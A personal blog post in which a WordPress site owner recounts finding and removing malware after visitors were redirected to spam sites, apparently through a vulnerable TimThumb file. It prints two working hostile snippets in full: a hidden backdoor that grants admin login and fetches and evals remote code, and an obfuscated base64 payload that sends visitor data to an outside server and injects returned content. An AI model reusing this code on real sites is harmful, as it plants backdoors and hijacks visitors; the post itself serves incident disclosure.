My apologies to anybody who got redirected to some spammy site after visiting here. I didn’t discover that I’d been hacked until last week, and it took a while to track down. Anyway, I thought I’d write a bit about how they did it and what to watch out for.
Symptoms
I used to have open comments and trackbacks on all my pages. Trackbacks were the first thing to go. I’d get a ton of spam links from it, so I disabled them. After that, I started seeing spam comments. I really didn’t want to disable them, so I put a CAPTCHA plugin to try and stop them. This worked for a bit until they cracked the CAPTCHA. Right before I noticed I’d been hacked, there was a large influx of gibberish comments, so I finally disabled comments, not wanting to find a better CAPTCHA (I was using SI CAPTCHA Anti-Spam).
Things started to go south when I noticed that I was randomly getting redirected to spam websites after trying to visit my homepage. The worst part was that I couldn’t find anything in the source when it hit CTRL+U in Chrome. It didn’t happen again when I refreshed. I was perplexed.
Detection
I started hunting through my public-html folder for things changed. My first lucky break was noticing that wp-config.php had different permissions than everything else: 444, or read only access for everyone. I changed back the permissions and went looking. The malicious code was located in the center of about 1,000 lines of white space after the normal WordPress code. This was easy to find by just scrolling through. It looks like this: (formatted for readability)
<?php if (isset($_GET['pingnow'])&& isset($_GET['pass'])) { if ($_GET['pass'] == '2838023a778dfaecdc212708f721b788') { if ($_GET['pingnow']== 'login') { $user_login = 'admin'; $user = get_userdatabylogin($user_login); $user_id = $user->ID; wp_set_current_user($user_id, $user_login); wp_set_auth_cookie($user_id); do_action('wp_login', $user_login); } if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))) { $ch = curl_init($_GET['file']); $fnm = md5(rand(0,100)).'.php'; $fp = fopen($fnm, "w"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); fclose($fp); echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>"; } if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))) { $ch = curl_init($_GET['file']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $re = curl_exec($ch); curl_close($ch); eval($re); } } } ?> |
That all looks pretty foreign to me, not being too much of a PHP buff. I saw username: admin and password: 51 (the seem to have given the md5 sum). It calls WordPress’s do-action function on ‘wp_login’. That looked bad.
It also looks like it tried to create a file with an md5 sum as its name. I didn’t see too much else from this code that I could understand, so I took it to the Google.
Apparently this is a fairly common snippet. The general conclusion is that it is associated with the presence of TomThumb.php or TimThumb.php in one of my themes or plugins. After much grep-ing, I found that my homepage slideshow, iSlidex, had the file. I disabled and deleted the plugin. This was likely my own damn fault. I was stylizing iSlidex by editing its CSS directly instead of overriding in my child theme. As a result, I lost my changes whenever I updated it. Also as a result, I stopped updating it. I’m sure they fixed the TomThumb vulnerability, but I was too naive to update.
After deleting the malicious code from wp-config.php and checking various other places the forums suggested, I thought I was home free. I took a drive back home from college and eventually ended up visiting the site from there. Much to my dismay, it happened again. However, this time I was quick to act. I stopped it before it had the chance to redirect. CTRL+U still showed nothing, but Chrome’s Developer Tools came to the rescue. They revealed an iframe between my #body and #wrapper divs. I had to take a screenshot because I couldn’t figure out any other way to save it!
Furious, I turned once again to grep. I searched for every term in that snippet. It was all fruitless. My friend John Kurlak (PHP guru) was even helping, but couldn’t trace it. After about an hour of frustration, I had an idea.
An explanation for the results being so hard to repeat could be an IP check. This explanation fit fairly well with the symptoms we were seeing, so we decided to give it a shot. John was nice enough to tell me the PHP keyword to search for (REMOTE_ADDR). Bingo! I found malicious code tabbed over 1,000 characters in wp-settings.php. I missed it when I was skimming through.
<?php function counter_wordpress() { $_F=__FILE__; $_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+'; eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); $ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT'])); $ip = $_SERVER['REMOTE_ADDR']; $host = $_SERVER['HTTP_HOST']; $uri = urlencode($_SERVER['REQUEST_URI']); $ref = urlencode($_SERVER['HTTP_REFERER']); $url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 2); $re = curl_exec($ch);curl_close($ch); echo $re; } add_action('wp_head', 'counter_wordpress'); ?> |
Conclusion
After grabbing the above code and deleting it, the problem was fixed. The code was very sneaky. It uses curl to get the iframe snippet from another server, rendering my grep searches useless. The IP check made it hard to test and might fool others into thinking that it’s not enough of an issue to bother with. This was very sneaky code.
I’m still not sure if the spam comments are related. They might just have a bot sniffing WordPress sites for TomThumb.php, or maybe they have a different attack method. If you know, I’d like to hear! Use the contact form or maybe I’ll get the nerve to turn comments back on.